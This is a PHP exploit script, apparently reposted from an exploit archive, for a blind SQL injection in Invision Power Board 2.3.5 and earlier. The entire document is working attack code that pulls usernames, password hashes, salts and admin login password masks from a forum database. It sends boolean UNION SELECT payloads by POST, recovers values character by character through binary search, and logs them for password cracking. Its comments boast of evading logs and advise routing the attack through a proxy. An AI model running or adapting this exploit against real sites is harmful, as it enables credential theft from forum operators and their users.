IPB <= 2.3.5 Improved SQL Injection Exploit
Posted on 20 April 2010
=========================================== IPB <= 2.3.5 Improved SQL Injection Exploit =========================================== <?php error_reporting(E_ALL); /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// // IPB <= 2.3.5 sql injection exploit // Version 1.0 // written by Cryptovirus // http://de.crypt.in/ // base code by "waraxe" // http://waraxe.us/ // 23. january 2010 // based on DarkFig's advisory // http://acid-root.new.fr/?0:18 // // FEATURES: // 1. Fetching algorithm optimized for speed // 2. Attack goes through $_POST, so no suspicious logs // 3. Pretesting saves time if IPB is not vulnerable // 4. curl extension autoloading // 5. log format compatible with passwordspro // // NB! This exploit is meant to be run as php CLI! // http://www.php.net/features.commandline /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// //===================================================================== $cli = php_sapi_name() === 'cli'; //===================================================================== // Die, if executed from webserver //===================================================================== if(!$cli) { echo "<html><head><title>Attention!</title></head> "; echo "<body><br /><br /><center> "; echo "<h1>Error!</h1> "; echo "This exploit is meant to be used as php CLI script!<br /> "; echo "More information:<br /> "; echo "<a href="http://www.google.com/search?hl=en&q=php+cli+windows" target="_blank">http://www.google.com/search?hl=en&q=php+cli+windows</a><br /> "; echo "This script will not run through a webserver.<br /> "; echo "</center></body></html> "; exit; } //===================================================================== // Print the awesome de.crypt.in logo //===================================================================== echo " _ _ _ "; echo " __| | ___ ___ _ __ _ _ _ __ | |_ (_)_ __ "; echo " / _` |/ _ / __| '__| | | | '_ | __| | | '_ "; echo " | (_| | __/| (__| | | |_| | |_) | |_ _| | | | |"; echo " \__,_|\___(_)___|_| \__, | .__/ \__(_)_|_| |_|"; echo " |___/|_| "; //===================================================================== // Check if all command line arguments were passed //===================================================================== if(!isset($argv[1])||!isset($argv[2])||!isset($argv[3])){ echo "Usage: php ".$_SERVER['PHP_SELF']." <target> <userid> <option> [prefix] "; echo "Argument [prefix] is optional, default is 'ibf_' "; echo " "; echo "Options: 1 - Fetch username, 2 - Fetch password hash, 3 - fetch password mask "; echo "Example: php ".$_SERVER['PHP_SELF']." http://ipb.com/board/ 1 1 "; die; } //===================================================================== // Change the value below if required: //===================================================================== $user_name = ''; /////////////////////////////////////////////////////////////////////// $url = $argv[1]; $chosen_id = $argv[2]; $ch_option = $argv[3]; $prefix = 'ibf_'; if(isset($argv[4])) $prefix = $argv[4]; # Proxy settings # Be sure to use proxy :) //$proxy_ip_port = '127.0.0.1:8118'; //$proxy_user_password = 'someuser:somepassword'; $outfile = './de.crypt.in_IPB2.txt'; //Log file if(!extension_loaded('curl')) { if(!dl('php_curl.dll')) { die("Curl extension not loaded! Fatal exit ... "); } else { echo "Curl loading success "; } } //===================================================================== xecho("Target: $url "); xecho("Sql table prefix: $prefix "); xecho("Testing target URL ... "); test_target_url(); xecho("Target URL seems to be valid "); add_line("=========================================="); add_line("Target: $url"); $i = $chosen_id; echo "Testing ID $i "; if(!test_target_id($i)) { echo "ID $i not valid, try again ... "; die; } echo "ID $i validated "; add_line("------------------------------------------"); // Check chosen option and proceed accordingly if($ch_option == 2){ $hash = get_hash($i); $salt = get_salt($i); $line = "$i:$hash:$salt"; add_line($line); xecho(" ------------------------------------------ "); xecho("User ID: $i "); xecho("Hash: $hash "); xecho("Salt: $salt"); xecho(" ------------------------------------------ "); } else if($ch_option == 1){ $uname = get_user($i); $line = "The username for id $i is $uname"; add_line($line); xecho("$uname"); } else if($ch_option == 3){ xecho (" NOTE: MASK CAN BE WRONG IF YOU DON'T SET THE USERNAME IN THE SCRIPT! (line 66) "); $mask = get_mask(); $line = "The password mask is $mask"; add_line($line); } xecho(" Questions and feedback - http://de.crypt.in/ "); die(" "); ////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////// function test_target_url() { global $url; $post = 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- '; $buff = trim(make_post($url, $post, '', $url)); if($buff === 'notfound') { die('Target is patched? Exiting ...'); } if($buff !== 'found') { die('Invalid response, target URL not valid? Exiting ...'); } } ////////////////////////////////////////////////////////////////////// function test_target_id($id) { global $url, $prefix; $post = 'UNION SELECT 1,1 FROM ' . $prefix . 'members_converge WHERE converge_id=' . $id . ' AND LENGTH(converge_pass_hash)=32'; return test_condition($post); } /////////////////////////////////////////////////////////////////////// function get_salt($id) { $len = 5; $out = ''; xecho("Finding salt ... "); for($i = 1; $i < $len + 1; $i ++) { $ch = get_saltchar($i, $id); xecho("Got pos $i --> $ch "); $out .= "$ch"; xecho("Current salt: $out "); } xecho(" Final salt for ID $id: $out "); return $out; } /////////////////////////////////////////////////////////////////////// function get_saltchar($pos, $id) { global $prefix; $char = ''; $min = 32; $max = 128; $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_salt,$pos,1))"; $curr = 0; while(1) { $area = $max - $min; if($area < 2 ) { $post = $pattern . "=$max"; $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $post = $pattern . '%253e' . $curr; $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } xecho("Current test: $curr-$max-$min "); } return $char; } /////////////////////////////////////////////////////////////////////// function get_hash($id) { $len = 32; $out = ''; xecho("Finding hash ... "); for($i = 1; $i < $len + 1; $i ++) { $ch = get_hashchar($i, $id); xecho("Got pos $i --> $ch "); $out .= "$ch"; xecho("Current hash: $out "); } xecho(" Final hash for ID $id: $out "); return $out; } /////////////////////////////////////////////////////////////////////// function get_hashchar($pos, $id) { global $prefix; $char = ''; $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_hash,$pos,1))"; // First let's determine, if it's number or letter $post = $pattern . '%253e57'; $letter = test_condition($post); if($letter) { $min = 97; $max = 102; xecho("Char to find is [a-f] "); } else { $min = 48; $max = 57; xecho("Char to find is [0-9] "); } $curr = 0; while(1) { $area = $max - $min; if($area < 2 ) { $post = $pattern . "=$max"; $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $post = $pattern . '%253e' . $curr; $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } xecho("Current test: $curr-$max-$min "); } return $char; } /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// function get_user($id) { $len = 32; $out = ''; xecho("Finding username ... "); for($i = 1; $i < $len + 1; $i ++) { $ch = get_userchar($i, $id); xecho("Got pos $i --> $ch "); $out .= "$ch"; xecho("Current username: $out "); } xecho(" Final username for ID $id: $out "); return $out; } /////////////////////////////////////////////////////////////////////// function get_userchar($pos, $id) { global $prefix; $char = ''; $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members WHERE id=$id AND ORD(SUBSTR(name,$pos,1))"; // First let's determine, if it's number or letter $post = $pattern . '%253e57'; $letter = test_condition($post); if($letter) { $min = 65; $max = 122; xecho("Char to find is [a-f] "); } else { $min = 48; $max = 57; xecho("Char to find is [0-9] "); } $curr = 0; while(1) { $area = $max - $min; if($area < 2 ) { $post = $pattern . "=$max"; $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $post = $pattern . '%253e' . $curr; $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } xecho("Current test: $curr-$max-$min "); } return $char; } /////////////////////////////////////////////////////////////////////// function get_mask() { global $prefix; global $user_name; $len = 10000; $out = ''; // Find last possible login log xecho("Finding latest possible log ... "); for($i=0;$i<9000;$i+=10){ $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "admin_login_logs WHERE admin_success=1 AND position(%2527*%2527 in admin_post_details)%253e0 AND position(%2527$user_name%2527 in admin_post_details)%253e0 AND admin_id"; $post = $pattern . '%253e'.$i; $lognum = test_condition($post); if(!$lognum){ for($j=$i;$j>$i-10;$j--){ $post = $pattern . '%253d'.$j; $lognum = test_condition($post); if($lognum){ $lognum=$j; break; } } break; } } xecho(" Using log number: $lognum "); // Find password location xecho("Finding password mask location ... "); for($i=0;$i<9000;$i+=10){ $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "admin_login_logs WHERE admin_id=$lognum AND position(%2527*%2527 in admin_post_details)"; $post = $pattern . '%253e'.$i; $thatsit = test_condition($post); if(!$thatsit){ for($j=$i;$j>$i-10;$j--){ $post = $pattern . '%253d'.$j; $thatsit = test_condition($post); if($thatsit){ $thatsit=$j; break; } } break; } } xecho(" Mask located at: $thatsit "); for($i = $thatsit; $i < $len; $i ++) { $ch = get_maskchar($i, $lognum); xecho("Got pos $i --> $ch "); if($ch != '"'){ $out .= "$ch"; xecho("Current mask: $out "); } else { break; } } if($user_name == ''){ // Find username location for($i=0;$i<9000;$i+=10){ $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "admin_login_logs WHERE admin_id=$lognum AND position(%2527username%2527 in admin_post_details)"; $post = $pattern . '%253e'.$i; $userpos = test_condition($post); if(!$userpos){ for($j=$i;$j>$i-10;$j--){ $post = $pattern . '%253d'.$j; $userpos = test_condition($post); if($userpos){ $userpos=$j+16; break; } } break; } } xecho(" Username located at: $userpos "); for($i = $userpos; $i < $len; $i ++){ $ch = get_maskchar($i, $lognum); xecho("Got pos $i --> $ch "); if($ch != '"'){ $user_name .= "$ch"; xecho("Current username: $user_name "); } else { break; } } } xecho(" Final password mask for $user_name: $out "); return $out; } /////////////////////////////////////////////////////////////////////// function get_maskchar($pos, $lognum) { global $prefix; $char = ''; $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "admin_login_logs WHERE admin_success=1 AND admin_id=$lognum AND ORD(SUBSTR(admin_post_details,$pos,1))"; $post = $pattern . '%253d42'; $letter = test_condition($post); if($letter){ // Just an asterisk. $char = '*'; } else{ // First let's determine, if it's number or letter $post = $pattern . '%253e64'; $letter = test_condition($post); if($letter) { $min = 65; $max = 126; xecho("Char to find is [A-z] or symbols - [,\,],^,_,`,{,},~,| "); } else { $min = 32; $max = 64; xecho("Char to find is [0-9] and lots of tasty symbols "); } $curr = 0; while(1) { //$post = $pattern . "=$max"; //$eq = test_condition($post); $area = $max - $min; if($area < 2 ) { $post = $pattern . "=$max"; $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $post = $pattern . '%253e' . $curr; $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } xecho("Current test: $curr-$max-$min "); } } return $char; } /////////////////////////////////////////////////////////////////////// function test_condition($p) { global $url; $bret = false; $maxtry = 10; $try = 1; $pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- '; $post = sprintf($pattern, $p); while(1) { $buff = trim(make_post($url, $post, '', $url)); if($buff === 'found') { $bret = true; break; } elseif($buff === 'notfound') { break; } elseif(strpos($buff, '<title>IPS Driver Error</title>') !== false) { die("Sql error! Wrong prefix? Exiting ... "); } else { xecho("test_condition() - try $try - invalid return value ... "); $try ++; if($try > $maxtry) { die("Too many tries - exiting ... "); } else { xecho("Trying again - try $try ... "); } } } return $bret; } /////////////////////////////////////////////////////////////////////// function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE) { $ch = curl_init(); $timeout = 120; curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)'); if(!empty($GLOBALS['proxy_ip_port'])) { curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']); if(!empty($GLOBALS['proxy_user_password'])) { curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']); } } if(!empty($cookie)) { curl_setopt ($ch, CURLOPT_COOKIE, $cookie); } if(!empty($referer)) { curl_setopt ($ch, CURLOPT_REFERER, $referer); } if($headers === TRUE) { curl_setopt ($ch, CURLOPT_HEADER, TRUE); } else { curl_setopt ($ch, CURLOPT_HEADER, FALSE); } $fc = curl_exec($ch); curl_close($ch); return $fc; } /////////////////////////////////////////////////////////////////////// function add_line($line) { global $outfile; $line .= " "; $fh = fopen($outfile, 'ab'); fwrite($fh, $line); fclose($fh); } /////////////////////////////////////////////////////////////////////// function xecho($line) { if($GLOBALS['cli']) { echo "$line"; } else { $line = nl2br(htmlspecialchars($line)); echo "$line"; } } /////////////////////////////////////////////////////////////////////// ?> # Inj3ct0r.com [2010-04-20]